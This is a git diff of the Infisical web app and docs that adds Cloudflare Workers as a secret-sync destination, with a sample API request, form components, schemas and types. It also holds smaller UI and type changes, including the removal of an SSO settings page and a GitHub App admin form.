![Confirm Configuration](/images/secret-syncs/cloudflare-workers/cloudflare-workers-sync-review.png)
8. If enabled, your Cloudflare Workers Sync will begin syncing your secrets to the destination endpoint.
![Sync Secrets](/images/secret-syncs/cloudflare-workers/cloudflare-workers-sync-created.png)
</Tab>
<Tab title="API">
To create a **Cloudflare Workers Sync**, make an API request to the [Create Cloudflare Workers Sync](/api-reference/endpoints/secret-syncs/cloudflare-workers/create) API endpoint.
### Sample request
```bash Request
curl --request POST \
--url https://app.infisical.com/api/v1/secret-syncs/cloudflare-workers \
--header 'Content-Type: application/json' \
--data '{
"name": "my-cloudflare-workers-sync",
"projectId": "your-project-id",
"description": "an example sync",
"connectionId": "your-cloudflare-connection-id",
"environment": "production",
"secretPath": "/my-secrets",
"isEnabled": true,
"syncOptions": {
"initialSyncBehavior": "overwrite-destination"
},
"destinationConfig": {
"scriptId": "my-workers-script"
}
}'
```
### Sample response
```bash Response
{
"secretSync": {
"id": "your-sync-id",
"name": "my-cloudflare-workers-sync",
"description": "an example sync",
"isEnabled": true,
"version": 1,
"folderId": "your-folder-id",
"connectionId": "your-cloudflare-connection-id",
"createdAt": "2024-05-01T12:00:00Z",
"updatedAt": "2024-05-01T12:00:00Z",
"syncStatus": "succeeded",
"lastSyncJobId": "123",
"lastSyncMessage": null,
"lastSyncedAt": "2024-05-01T12:00:00Z",
"syncOptions": {
"initialSyncBehavior": "overwrite-destination"
},
"projectId": "your-project-id",
"connection": {
"app": "cloudflare",
"name": "my-cloudflare-connection",
"id": "your-cloudflare-connection-id"
},
"environment": {
"slug": "production",
"name": "Production",
"id": "your-env-id"
},
"folder": {
"id": "your-folder-id",
"path": "/my-secrets"
},
"destination": "cloudflare-workers",
"destinationConfig": {
"scriptId": "my-workers-script"
}
}
}
```
</Tab>
</Tabs>

View File

@ -0,0 +1,6 @@
---
title: "Infisical C++ SDK"
sidebarTitle: "C++"
url: "https://github.com/Infisical/infisical-cpp-sdk/?tab=readme-ov-file#infisical-c-sdk"
icon: "c"
---

View File

@ -25,6 +25,9 @@ From local development to production, Infisical SDKs provide the easiest way for
<Card href="https://github.com/Infisical/infisical-dotnet-sdk?tab=readme-ov-file#infisical-net-sdk" title=".NET" icon="bars" color="#368833"> <Card href="https://github.com/Infisical/infisical-dotnet-sdk?tab=readme-ov-file#infisical-net-sdk" title=".NET" icon="bars" color="#368833">
Manage secrets for your .NET application on demand Manage secrets for your .NET application on demand
</Card> </Card>
<Card href="https://github.com/Infisical/infisical-cpp-sdk/?tab=readme-ov-file#infisical-c-sdk" title="C++" icon="c" color="#b00dd1">
Manage secrets for your C++ application on demand
</Card>
<Card href="/sdks/languages/ruby" title="Ruby" icon="diamond" color="#367B99"> <Card href="/sdks/languages/ruby" title="Ruby" icon="diamond" color="#367B99">
Manage secrets for your Ruby application on demand Manage secrets for your Ruby application on demand
</Card> </Card>

View File

@ -4,7 +4,7 @@ import { SingleValue } from "react-select";
import { SecretSyncConnectionField } from "@app/components/secret-syncs/forms/SecretSyncConnectionField"; import { SecretSyncConnectionField } from "@app/components/secret-syncs/forms/SecretSyncConnectionField";
import { FilterableSelect, FormControl, Select, SelectItem } from "@app/components/v2"; import { FilterableSelect, FormControl, Select, SelectItem } from "@app/components/v2";
import { import {
TCloudflareProject, TCloudflarePagesProject,
useCloudflareConnectionListPagesProjects useCloudflareConnectionListPagesProjects
} from "@app/hooks/api/appConnections/cloudflare"; } from "@app/hooks/api/appConnections/cloudflare";
import { SecretSync } from "@app/hooks/api/secretSyncs"; import { SecretSync } from "@app/hooks/api/secretSyncs";
@ -52,7 +52,7 @@ export const CloudflarePagesSyncFields = () => {
isDisabled={!connectionId} isDisabled={!connectionId}
value={projects ? (projects.find((project) => project.name === value) ?? []) : []} value={projects ? (projects.find((project) => project.name === value) ?? []) : []}
onChange={(option) => { onChange={(option) => {
onChange((option as SingleValue<TCloudflareProject>)?.name ?? null); onChange((option as SingleValue<TCloudflarePagesProject>)?.name ?? null);
}} }}
options={projects} options={projects}
placeholder="Select a project..." placeholder="Select a project..."

View File

@ -0,0 +1,59 @@
import { Controller, useFormContext, useWatch } from "react-hook-form";
import { SingleValue } from "react-select";
import { SecretSyncConnectionField } from "@app/components/secret-syncs/forms/SecretSyncConnectionField";
import { FilterableSelect, FormControl } from "@app/components/v2";
import {
TCloudflareWorkersScript,
useCloudflareConnectionListWorkersScripts
} from "@app/hooks/api/appConnections/cloudflare";
import { SecretSync } from "@app/hooks/api/secretSyncs";
import { TSecretSyncForm } from "../schemas";
export const CloudflareWorkersSyncFields = () => {
const { control, setValue } = useFormContext<
TSecretSyncForm & { destination: SecretSync.CloudflareWorkers }
>();
const connectionId = useWatch({ name: "connection.id", control });
const { data: scripts = [], isPending: isScriptsPending } =
useCloudflareConnectionListWorkersScripts(connectionId, {
enabled: Boolean(connectionId)
});
return (
<>
<SecretSyncConnectionField
onChange={() => {
setValue("destinationConfig.scriptId", "");
}}
/>
<Controller
name="destinationConfig.scriptId"
control={control}
render={({ field: { value, onChange }, fieldState: { error } }) => (
<FormControl
errorText={error?.message}
isError={Boolean(error?.message)}
label="Worker Script"
>
<FilterableSelect
isLoading={isScriptsPending && Boolean(connectionId)}
isDisabled={!connectionId}
value={scripts?.find((script) => script.id === value) || []}
onChange={(option) => {
onChange((option as SingleValue<TCloudflareWorkersScript>)?.id ?? null);
}}
options={scripts}
placeholder="Select a worker script..."
getOptionLabel={(option) => option.id}
getOptionValue={(option) => option.id}
/>
</FormControl>
)}
/>
</>
);
};

View File

@ -11,6 +11,7 @@ import { AzureDevOpsSyncFields } from "./AzureDevOpsSyncFields";
import { AzureKeyVaultSyncFields } from "./AzureKeyVaultSyncFields"; import { AzureKeyVaultSyncFields } from "./AzureKeyVaultSyncFields";
import { CamundaSyncFields } from "./CamundaSyncFields"; import { CamundaSyncFields } from "./CamundaSyncFields";
import { CloudflarePagesSyncFields } from "./CloudflarePagesSyncFields"; import { CloudflarePagesSyncFields } from "./CloudflarePagesSyncFields";
import { CloudflareWorkersSyncFields } from "./CloudflareWorkersSyncFields";
import { DatabricksSyncFields } from "./DatabricksSyncFields"; import { DatabricksSyncFields } from "./DatabricksSyncFields";
import { FlyioSyncFields } from "./FlyioSyncFields"; import { FlyioSyncFields } from "./FlyioSyncFields";
import { GcpSyncFields } from "./GcpSyncFields"; import { GcpSyncFields } from "./GcpSyncFields";
@ -78,6 +79,8 @@ export const SecretSyncDestinationFields = () => {
return <GitLabSyncFields />; return <GitLabSyncFields />;
case SecretSync.CloudflarePages: case SecretSync.CloudflarePages:
return <CloudflarePagesSyncFields />; return <CloudflarePagesSyncFields />;
case SecretSync.CloudflareWorkers:
return <CloudflareWorkersSyncFields />;
case SecretSync.Zabbix: case SecretSync.Zabbix:
return <ZabbixSyncFields />; return <ZabbixSyncFields />;
case SecretSync.Railway: case SecretSync.Railway:

View File

@ -58,6 +58,7 @@ export const SecretSyncOptionsFields = ({ hideInitialSync }: Props) => {
case SecretSync.Flyio: case SecretSync.Flyio:
case SecretSync.GitLab: case SecretSync.GitLab:
case SecretSync.CloudflarePages: case SecretSync.CloudflarePages:
case SecretSync.CloudflareWorkers:
case SecretSync.Zabbix: case SecretSync.Zabbix:
case SecretSync.Railway: case SecretSync.Railway:
AdditionalSyncOptionsFieldsComponent = null; AdditionalSyncOptionsFieldsComponent = null;

View File

@ -11,7 +11,9 @@ export const AzureDevOpsSyncReviewFields = () => {
return ( return (
<> <>
<GenericFieldLabel label="Project">{devopsProjectName}</GenericFieldLabel> {devopsProjectName && (
<GenericFieldLabel label="Project">{devopsProjectName}</GenericFieldLabel>
)}
<GenericFieldLabel label="Project ID">{devopsProjectId}</GenericFieldLabel> <GenericFieldLabel label="Project ID">{devopsProjectId}</GenericFieldLabel>
</> </>
); );

View File

@ -0,0 +1,14 @@
import { useFormContext } from "react-hook-form";
import { TSecretSyncForm } from "@app/components/secret-syncs/forms/schemas";
import { GenericFieldLabel } from "@app/components/v2";
import { SecretSync } from "@app/hooks/api/secretSyncs";
export const CloudflareWorkersSyncReviewFields = () => {
const { watch } = useFormContext<
TSecretSyncForm & { destination: SecretSync.CloudflareWorkers }
>();
const scriptId = watch("destinationConfig.scriptId");
return <GenericFieldLabel label="Script">{scriptId}</GenericFieldLabel>;
};

View File

@ -20,6 +20,7 @@ import { AzureDevOpsSyncReviewFields } from "./AzureDevOpsSyncReviewFields";
import { AzureKeyVaultSyncReviewFields } from "./AzureKeyVaultSyncReviewFields"; import { AzureKeyVaultSyncReviewFields } from "./AzureKeyVaultSyncReviewFields";
import { CamundaSyncReviewFields } from "./CamundaSyncReviewFields"; import { CamundaSyncReviewFields } from "./CamundaSyncReviewFields";
import { CloudflarePagesSyncReviewFields } from "./CloudflarePagesReviewFields"; import { CloudflarePagesSyncReviewFields } from "./CloudflarePagesReviewFields";
import { CloudflareWorkersSyncReviewFields } from "./CloudflareWorkersReviewFields";
import { DatabricksSyncReviewFields } from "./DatabricksSyncReviewFields"; import { DatabricksSyncReviewFields } from "./DatabricksSyncReviewFields";
import { FlyioSyncReviewFields } from "./FlyioSyncReviewFields"; import { FlyioSyncReviewFields } from "./FlyioSyncReviewFields";
import { GcpSyncReviewFields } from "./GcpSyncReviewFields"; import { GcpSyncReviewFields } from "./GcpSyncReviewFields";
@ -126,6 +127,9 @@ export const SecretSyncReviewFields = () => {
case SecretSync.CloudflarePages: case SecretSync.CloudflarePages:
DestinationFieldsComponent = <CloudflarePagesSyncReviewFields />; DestinationFieldsComponent = <CloudflarePagesSyncReviewFields />;
break; break;
case SecretSync.CloudflareWorkers:
DestinationFieldsComponent = <CloudflareWorkersSyncReviewFields />;
break;
case SecretSync.Zabbix: case SecretSync.Zabbix:
DestinationFieldsComponent = <ZabbixSyncReviewFields />; DestinationFieldsComponent = <ZabbixSyncReviewFields />;
break; break;

View File

@ -8,10 +8,7 @@ export const AzureDevOpsSyncDestinationSchema = BaseSecretSyncSchema().merge(
destination: z.literal(SecretSync.AzureDevOps), destination: z.literal(SecretSync.AzureDevOps),
destinationConfig: z.object({ destinationConfig: z.object({
devopsProjectId: z.string().trim().min(1, { message: "Azure DevOps Project ID is required" }), devopsProjectId: z.string().trim().min(1, { message: "Azure DevOps Project ID is required" }),
devopsProjectName: z devopsProjectName: z.string().trim().optional()
.string()
.trim()
.min(1, { message: "Azure DevOps Project Name is required" })
}) })
}) })
); );

View File

@ -0,0 +1,18 @@
import { z } from "zod";
import { BaseSecretSyncSchema } from "@app/components/secret-syncs/forms/schemas/base-secret-sync-schema";
import { SecretSync } from "@app/hooks/api/secretSyncs";
export const CloudflareWorkersSyncDestinationSchema = BaseSecretSyncSchema().merge(
z.object({
destination: z.literal(SecretSync.CloudflareWorkers),
destinationConfig: z.object({
scriptId: z
.string()
.trim()
.min(1, "Script ID is required")
.max(64)
.regex(/^[a-z0-9]([a-z0-9-]*[a-z0-9])?$/, "Invalid script ID format")
})
})
);

View File

@ -8,6 +8,7 @@ import { AzureDevOpsSyncDestinationSchema } from "./azure-devops-sync-destinatio
import { AzureKeyVaultSyncDestinationSchema } from "./azure-key-vault-sync-destination-schema"; import { AzureKeyVaultSyncDestinationSchema } from "./azure-key-vault-sync-destination-schema";
import { CamundaSyncDestinationSchema } from "./camunda-sync-destination-schema"; import { CamundaSyncDestinationSchema } from "./camunda-sync-destination-schema";
import { CloudflarePagesSyncDestinationSchema } from "./cloudflare-pages-sync-destination-schema"; import { CloudflarePagesSyncDestinationSchema } from "./cloudflare-pages-sync-destination-schema";
import { CloudflareWorkersSyncDestinationSchema } from "./cloudflare-workers-sync-destination-schema";
import { DatabricksSyncDestinationSchema } from "./databricks-sync-destination-schema"; import { DatabricksSyncDestinationSchema } from "./databricks-sync-destination-schema";
import { FlyioSyncDestinationSchema } from "./flyio-sync-destination-schema"; import { FlyioSyncDestinationSchema } from "./flyio-sync-destination-schema";
import { GcpSyncDestinationSchema } from "./gcp-sync-destination-schema"; import { GcpSyncDestinationSchema } from "./gcp-sync-destination-schema";
@ -48,6 +49,8 @@ const SecretSyncUnionSchema = z.discriminatedUnion("destination", [
FlyioSyncDestinationSchema, FlyioSyncDestinationSchema,
GitlabSyncDestinationSchema, GitlabSyncDestinationSchema,
CloudflarePagesSyncDestinationSchema, CloudflarePagesSyncDestinationSchema,
CloudflareWorkersSyncDestinationSchema,
ZabbixSyncDestinationSchema, ZabbixSyncDestinationSchema,
RailwaySyncDestinationSchema RailwaySyncDestinationSchema
]); ]);

View File

@ -42,7 +42,7 @@ export const Checkbox = ({
className={twMerge( className={twMerge(
"flex h-4 w-4 flex-shrink-0 items-center justify-center rounded border border-mineshaft-400/50 bg-mineshaft-600 shadow transition-all hover:bg-mineshaft-500", "flex h-4 w-4 flex-shrink-0 items-center justify-center rounded border border-mineshaft-400/50 bg-mineshaft-600 shadow transition-all hover:bg-mineshaft-500",
isDisabled && "bg-bunker-400 hover:bg-bunker-400", isDisabled && "bg-bunker-400 hover:bg-bunker-400",
isChecked && "border-primary/30 bg-primary/10", isChecked && "border-primary/50 bg-primary/30",
Boolean(children) && "mr-3", Boolean(children) && "mr-3",
className className
)} )}

View File

@ -29,10 +29,6 @@ export const ROUTE_PATHS = Object.freeze({
"/_authenticate/_inject-org-details/_org-layout/organization/settings/oauth/callback" "/_authenticate/_inject-org-details/_org-layout/organization/settings/oauth/callback"
) )
}, },
SsoPage: setRoute(
"/organization/sso",
"/_authenticate/_inject-org-details/_org-layout/organization/sso"
),
SecretSharing: setRoute( SecretSharing: setRoute(
"/organization/secret-sharing", "/organization/secret-sharing",
"/_authenticate/_inject-org-details/_org-layout/organization/secret-sharing/" "/_authenticate/_inject-org-details/_org-layout/organization/secret-sharing/"

View File

@ -82,6 +82,10 @@ export const SECRET_SYNC_MAP: Record<SecretSync, { name: string; image: string }
name: "Cloudflare Pages", name: "Cloudflare Pages",
image: "Cloudflare.png" image: "Cloudflare.png"
}, },
[SecretSync.CloudflareWorkers]: {
name: "Cloudflare Workers",
image: "Cloudflare.png"
},
[SecretSync.Zabbix]: { [SecretSync.Zabbix]: {
name: "Zabbix", name: "Zabbix",
image: "Zabbix.png" image: "Zabbix.png"
@ -115,6 +119,8 @@ export const SECRET_SYNC_CONNECTION_MAP: Record<SecretSync, AppConnection> = {
[SecretSync.Flyio]: AppConnection.Flyio, [SecretSync.Flyio]: AppConnection.Flyio,
[SecretSync.GitLab]: AppConnection.Gitlab, [SecretSync.GitLab]: AppConnection.Gitlab,
[SecretSync.CloudflarePages]: AppConnection.Cloudflare, [SecretSync.CloudflarePages]: AppConnection.Cloudflare,
[SecretSync.CloudflareWorkers]: AppConnection.Cloudflare,
[SecretSync.Zabbix]: AppConnection.Zabbix, [SecretSync.Zabbix]: AppConnection.Zabbix,
[SecretSync.Railway]: AppConnection.Railway [SecretSync.Railway]: AppConnection.Railway
}; };

View File

@ -170,7 +170,7 @@ export type TCreateAccessPolicyDTO = {
approvers?: Approver[]; approvers?: Approver[];
bypassers?: Bypasser[]; bypassers?: Bypasser[];
approvals?: number; approvals?: number;
secretPath?: string; secretPath: string;
enforcementLevel?: EnforcementLevel; enforcementLevel?: EnforcementLevel;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
approvalsRequired?: { numberOfApprovals: number; stepNumber: number }[]; approvalsRequired?: { numberOfApprovals: number; stepNumber: number }[];

View File

@ -3,21 +3,23 @@ import { useQuery, UseQueryOptions } from "@tanstack/react-query";
import { apiRequest } from "@app/config/request"; import { apiRequest } from "@app/config/request";
import { appConnectionKeys } from "../queries"; import { appConnectionKeys } from "../queries";
import { TCloudflareProject } from "./types"; import { TCloudflarePagesProject, TCloudflareWorkersScript } from "./types";
const cloudflareConnectionKeys = { const cloudflareConnectionKeys = {
all: [...appConnectionKeys.all, "cloudflare"] as const, all: [...appConnectionKeys.all, "cloudflare"] as const,
listPagesProjects: (connectionId: string) => listPagesProjects: (connectionId: string) =>
[...cloudflareConnectionKeys.all, "pages-projects", connectionId] as const [...cloudflareConnectionKeys.all, "pages-projects", connectionId] as const,
listWorkersScripts: (connectionId: string) =>
[...cloudflareConnectionKeys.all, "workers-scripts", connectionId] as const
}; };
export const useCloudflareConnectionListPagesProjects = ( export const useCloudflareConnectionListPagesProjects = (
connectionId: string, connectionId: string,
options?: Omit< options?: Omit<
UseQueryOptions< UseQueryOptions<
TCloudflareProject[], TCloudflarePagesProject[],
unknown, unknown,
TCloudflareProject[], TCloudflarePagesProject[],
ReturnType<typeof cloudflareConnectionKeys.listPagesProjects> ReturnType<typeof cloudflareConnectionKeys.listPagesProjects>
>, >,
"queryKey" | "queryFn" "queryKey" | "queryFn"
@ -26,7 +28,7 @@ export const useCloudflareConnectionListPagesProjects = (
return useQuery({ return useQuery({
queryKey: cloudflareConnectionKeys.listPagesProjects(connectionId), queryKey: cloudflareConnectionKeys.listPagesProjects(connectionId),
queryFn: async () => { queryFn: async () => {
const { data } = await apiRequest.get<TCloudflareProject[]>( const { data } = await apiRequest.get<TCloudflarePagesProject[]>(
`/api/v1/app-connections/cloudflare/${connectionId}/cloudflare-pages-projects` `/api/v1/app-connections/cloudflare/${connectionId}/cloudflare-pages-projects`
); );
@ -35,3 +37,28 @@ export const useCloudflareConnectionListPagesProjects = (
...options ...options
}); });
}; };
export const useCloudflareConnectionListWorkersScripts = (
connectionId: string,
options?: Omit<
UseQueryOptions<
TCloudflareWorkersScript[],
unknown,
TCloudflareWorkersScript[],
ReturnType<typeof cloudflareConnectionKeys.listWorkersScripts>
>,
"queryKey" | "queryFn"
>
) => {
return useQuery({
queryKey: cloudflareConnectionKeys.listWorkersScripts(connectionId),
queryFn: async () => {
const { data } = await apiRequest.get<TCloudflareWorkersScript[]>(
`/api/v1/app-connections/cloudflare/${connectionId}/cloudflare-workers-scripts`
);
return data;
},
...options
});
};

View File

@ -1,4 +1,8 @@
export type TCloudflareProject = { export type TCloudflarePagesProject = {
id: string; id: string;
name: string; name: string;
}; };
export type TCloudflareWorkersScript = {
id: string;
};

View File

@ -3,6 +3,7 @@ import { useMutation, useQueryClient } from "@tanstack/react-query";
import { apiRequest } from "@app/config/request"; import { apiRequest } from "@app/config/request";
import { organizationKeys } from "../organization/queries"; import { organizationKeys } from "../organization/queries";
import { subscriptionQueryKeys } from "../subscriptions/queries";
import { identitiesKeys } from "./queries"; import { identitiesKeys } from "./queries";
import { import {
AddIdentityAliCloudAuthDTO, AddIdentityAliCloudAuthDTO,
@ -82,6 +83,9 @@ export const useCreateIdentity = () => {
queryClient.invalidateQueries({ queryClient.invalidateQueries({
queryKey: organizationKeys.getOrgIdentityMemberships(organizationId) queryKey: organizationKeys.getOrgIdentityMemberships(organizationId)
}); });
queryClient.invalidateQueries({
queryKey: subscriptionQueryKeys.getOrgSubsription(organizationId)
});
} }
}); });
}; };
@ -123,6 +127,9 @@ export const useDeleteIdentity = () => {
queryClient.invalidateQueries({ queryClient.invalidateQueries({
queryKey: organizationKeys.getOrgIdentityMemberships(organizationId) queryKey: organizationKeys.getOrgIdentityMemberships(organizationId)
}); });
queryClient.invalidateQueries({
queryKey: subscriptionQueryKeys.getOrgSubsription(organizationId)
});
} }
}); });
}; };

View File

@ -49,7 +49,7 @@ export type TCreateSecretPolicyDTO = {
workspaceId: string; workspaceId: string;
name?: string; name?: string;
environment: string; environment: string;
secretPath?: string | null; secretPath: string;
approvers?: Approver[]; approvers?: Approver[];
bypassers?: Bypasser[]; bypassers?: Bypasser[];
approvals?: number; approvals?: number;
@ -62,7 +62,7 @@ export type TUpdateSecretPolicyDTO = {
name?: string; name?: string;
approvers?: Approver[]; approvers?: Approver[];
bypassers?: Bypasser[]; bypassers?: Bypasser[];
secretPath?: string | null; secretPath?: string;
approvals?: number; approvals?: number;
allowedSelfApprovals?: boolean; allowedSelfApprovals?: boolean;
enforcementLevel?: EnforcementLevel; enforcementLevel?: EnforcementLevel;

View File

@ -21,6 +21,8 @@ export enum SecretSync {
Flyio = "flyio", Flyio = "flyio",
GitLab = "gitlab", GitLab = "gitlab",
CloudflarePages = "cloudflare-pages", CloudflarePages = "cloudflare-pages",
CloudflareWorkers = "cloudflare-workers",
Zabbix = "zabbix", Zabbix = "zabbix",
Railway = "railway" Railway = "railway"
} }

View File

@ -6,7 +6,7 @@ export type TAzureDevOpsSync = TRootSecretSync & {
destination: SecretSync.AzureDevOps; destination: SecretSync.AzureDevOps;
destinationConfig: { destinationConfig: {
devopsProjectId: string; devopsProjectId: string;
devopsProjectName: string; devopsProjectName?: string;
}; };
connection: { connection: {
app: AppConnection.AzureDevOps; app: AppConnection.AzureDevOps;

View File

@ -0,0 +1,15 @@
import { AppConnection } from "@app/hooks/api/appConnections/enums";
import { SecretSync } from "@app/hooks/api/secretSyncs";
import { TRootSecretSync } from "@app/hooks/api/secretSyncs/types/root-sync";
export type TCloudflareWorkersSync = TRootSecretSync & {
destination: SecretSync.CloudflareWorkers;
destinationConfig: {
scriptId: string;
};
connection: {
app: AppConnection.Cloudflare;
name: string;
id: string;
};
};

View File

@ -10,6 +10,7 @@ import { TAzureDevOpsSync } from "./azure-devops-sync";
import { TAzureKeyVaultSync } from "./azure-key-vault-sync"; import { TAzureKeyVaultSync } from "./azure-key-vault-sync";
import { TCamundaSync } from "./camunda-sync"; import { TCamundaSync } from "./camunda-sync";
import { TCloudflarePagesSync } from "./cloudflare-pages-sync"; import { TCloudflarePagesSync } from "./cloudflare-pages-sync";
import { TCloudflareWorkersSync } from "./cloudflare-workers-sync";
import { TDatabricksSync } from "./databricks-sync"; import { TDatabricksSync } from "./databricks-sync";
import { TFlyioSync } from "./flyio-sync"; import { TFlyioSync } from "./flyio-sync";
import { TGcpSync } from "./gcp-sync"; import { TGcpSync } from "./gcp-sync";
@ -56,6 +57,7 @@ export type TSecretSync =
| TFlyioSync | TFlyioSync
| TGitLabSync | TGitLabSync
| TCloudflarePagesSync | TCloudflarePagesSync
| TCloudflareWorkersSync
| TZabbixSync | TZabbixSync
| TRailwaySync; | TRailwaySync;

View File

@ -9,6 +9,7 @@ import { APIKeyDataV2 } from "../apiKeys/types";
import { MfaMethod } from "../auth/types"; import { MfaMethod } from "../auth/types";
import { TGroupWithProjectMemberships } from "../groups/types"; import { TGroupWithProjectMemberships } from "../groups/types";
import { setAuthToken } from "../reactQuery"; import { setAuthToken } from "../reactQuery";
import { subscriptionQueryKeys } from "../subscriptions/queries";
import { workspaceKeys } from "../workspace"; import { workspaceKeys } from "../workspace";
import { userKeys } from "./query-keys"; import { userKeys } from "./query-keys";
import { import {
@ -188,6 +189,9 @@ export const useAddUsersToOrg = () => {
}, },
onSuccess: (_, { organizationId, projects }) => { onSuccess: (_, { organizationId, projects }) => {
queryClient.invalidateQueries({ queryKey: userKeys.getOrgUsers(organizationId) }); queryClient.invalidateQueries({ queryKey: userKeys.getOrgUsers(organizationId) });
queryClient.invalidateQueries({
queryKey: subscriptionQueryKeys.getOrgSubsription(organizationId)
});
projects?.forEach((project) => { projects?.forEach((project) => {
if (project.slug) { if (project.slug) {

View File

@ -1,6 +1,5 @@
import { import {
faBook, faBook,
faCheckCircle,
faCog, faCog,
faCubes, faCubes,
faDoorClosed, faDoorClosed,
@ -100,18 +99,6 @@ export const OrgSidebar = ({ isHidden }: Props) => {
</MenuItem> </MenuItem>
)} )}
</Link> </Link>
<Link to="/organization/sso">
{({ isActive }) => (
<MenuItem isSelected={isActive}>
<div className="mx-1 flex gap-2">
<div className="w-6">
<FontAwesomeIcon icon={faCheckCircle} className="mr-4" />
</div>
SSO Settings
</div>
</MenuItem>
)}
</Link>
<Link to="/organization/settings"> <Link to="/organization/settings">
{({ isActive }) => ( {({ isActive }) => (
<MenuItem isSelected={isActive}> <MenuItem isSelected={isActive}>

View File

@ -1,222 +0,0 @@
import { useEffect } from "react";
import { Controller, useForm } from "react-hook-form";
import { FaGithub } from "react-icons/fa";
import { zodResolver } from "@hookform/resolvers/zod";
import { z } from "zod";
import { createNotification } from "@app/components/notifications";
import {
Accordion,
AccordionContent,
AccordionItem,
AccordionTrigger,
Button,
FormControl,
Input,
TextArea
} from "@app/components/v2";
import { useToggle } from "@app/hooks";
import { useUpdateServerConfig } from "@app/hooks/api";
import { AdminIntegrationsConfig } from "@app/hooks/api/admin/types";
const gitHubAppFormSchema = z.object({
clientId: z.string(),
clientSecret: z.string(),
appSlug: z.string(),
appId: z.string(),
privateKey: z.string()
});
type TGitHubAppConnectionForm = z.infer<typeof gitHubAppFormSchema>;
type Props = {
adminIntegrationsConfig?: AdminIntegrationsConfig;
};
export const GitHubAppConnectionForm = ({ adminIntegrationsConfig }: Props) => {
const { mutateAsync: updateAdminServerConfig } = useUpdateServerConfig();
const [isGitHubAppClientSecretFocused, setIsGitHubAppClientSecretFocused] = useToggle();
const {
control,
handleSubmit,
setValue,
formState: { isSubmitting, isDirty }
} = useForm<TGitHubAppConnectionForm>({
resolver: zodResolver(gitHubAppFormSchema)
});
const onSubmit = async (data: TGitHubAppConnectionForm) => {
await updateAdminServerConfig({
gitHubAppConnectionClientId: data.clientId,
gitHubAppConnectionClientSecret: data.clientSecret,
gitHubAppConnectionSlug: data.appSlug,
gitHubAppConnectionId: data.appId,
gitHubAppConnectionPrivateKey: data.privateKey
});
createNotification({
text: "Updated GitHub app connection configuration. It can take up to 5 minutes to take effect.",
type: "success"
});
};
useEffect(() => {
if (adminIntegrationsConfig) {
setValue("clientId", adminIntegrationsConfig.gitHubAppConnection.clientId);
setValue("clientSecret", adminIntegrationsConfig.gitHubAppConnection.clientSecret);
setValue("appSlug", adminIntegrationsConfig.gitHubAppConnection.appSlug);
setValue("appId", adminIntegrationsConfig.gitHubAppConnection.appId);
setValue("privateKey", adminIntegrationsConfig.gitHubAppConnection.privateKey);
}
}, [adminIntegrationsConfig]);
return (
<form onSubmit={handleSubmit(onSubmit)}>
<Accordion type="single" collapsible className="w-full">
<AccordionItem value="github-app-integration" className="data-[state=open]:border-none">
<AccordionTrigger className="flex h-fit w-full justify-start rounded-md border border-mineshaft-500 bg-mineshaft-700 px-4 py-6 text-sm transition-colors data-[state=open]:rounded-b-none">
<div className="text-md group order-1 ml-3 flex items-center gap-2">
<FaGithub className="text-lg group-hover:text-primary-400" />
<div className="text-[15px] font-semibold">GitHub App</div>
</div>
</AccordionTrigger>
<AccordionContent childrenClassName="px-0 py-0">
<div className="flex w-full flex-col justify-start rounded-md rounded-t-none border border-t-0 border-mineshaft-500 bg-mineshaft-700 px-4 py-4">
<div className="mb-2 max-w-lg text-sm text-mineshaft-300">
Step 1: Create and configure GitHub App. Please refer to the documentation below for
more information.
</div>
<div className="mb-6">
<a
href="https://infisical.com/docs/integrations/app-connections/github#self-hosted-instance"
target="_blank"
rel="noopener noreferrer"
>
<Button colorSchema="secondary">Documentation</Button>
</a>
</div>
<div className="mb-4 max-w-lg text-sm text-mineshaft-300">
Step 2: Configure your instance-wide settings to enable GitHub App connections. Copy
the credentials from your GitHub App&apos;s settings page.
</div>
<Controller
control={control}
name="clientId"
render={({ field, fieldState: { error } }) => (
<FormControl
label="Client ID"
className="w-96"
isError={Boolean(error)}
errorText={error?.message}
>
<Input
{...field}
value={field.value || ""}
type="text"
onChange={(e) => field.onChange(e.target.value)}
/>
</FormControl>
)}
/>
<Controller
control={control}
name="clientSecret"
render={({ field, fieldState: { error } }) => (
<FormControl
label="Client Secret"
tooltipText="You can find your Client Secret in the GitHub App's settings under 'Client secrets'."
className="w-96"
isError={Boolean(error)}
errorText={error?.message}
>
<Input
{...field}
value={field.value || ""}
type={isGitHubAppClientSecretFocused ? "text" : "password"}
onFocus={() => setIsGitHubAppClientSecretFocused.on()}
onBlur={() => setIsGitHubAppClientSecretFocused.off()}
onChange={(e) => field.onChange(e.target.value)}
/>
</FormControl>
)}
/>
<Controller
control={control}
name="appSlug"
render={({ field, fieldState: { error } }) => (
<FormControl
label="App Slug"
tooltipText="The GitHub App slug from the app's URL (e.g., 'my-app' from github.com/apps/my-app)."
className="w-96"
isError={Boolean(error)}
errorText={error?.message}
>
<Input
{...field}
value={field.value || ""}
type="text"
onChange={(e) => field.onChange(e.target.value)}
/>
</FormControl>
)}
/>
<Controller
control={control}
name="appId"
render={({ field, fieldState: { error } }) => (
<FormControl
label="App ID"
tooltipText="The numeric App ID found in your GitHub App's settings."
className="w-96"
isError={Boolean(error)}
errorText={error?.message}
>
<Input
{...field}
value={field.value || ""}
type="text"
onChange={(e) => field.onChange(e.target.value)}
/>
</FormControl>
)}
/>
<Controller
control={control}
name="privateKey"
render={({ field, fieldState: { error } }) => (
<FormControl
label="Private Key"
tooltipText="The private key generated for your GitHub App (PEM format)."
className="w-96"
isError={Boolean(error)}
errorText={error?.message}
>
<TextArea
{...field}
value={field.value || ""}
className="min-h-32"
onChange={(e) => field.onChange(e.target.value)}
/>
</FormControl>
)}
/>
<div>
<Button
className="mt-2"
type="submit"
isLoading={isSubmitting}
isDisabled={isSubmitting || !isDirty}
>
Save
</Button>
</div>
</div>
</AccordionContent>
</AccordionItem>
</Accordion>
</form>
);
};

View File

@ -5,23 +5,17 @@ import { ROUTE_PATHS } from "@app/const/routes";
import { useGetAdminIntegrationsConfig } from "@app/hooks/api"; import { useGetAdminIntegrationsConfig } from "@app/hooks/api";
import { AdminIntegrationsConfig } from "@app/hooks/api/admin/types"; import { AdminIntegrationsConfig } from "@app/hooks/api/admin/types";
import { GitHubAppConnectionForm } from "./GitHubAppConnectionForm";
import { MicrosoftTeamsIntegrationForm } from "./MicrosoftTeamsIntegrationForm"; import { MicrosoftTeamsIntegrationForm } from "./MicrosoftTeamsIntegrationForm";
import { SlackIntegrationForm } from "./SlackIntegrationForm"; import { SlackIntegrationForm } from "./SlackIntegrationForm";
enum IntegrationTabSections { enum IntegrationTabSections {
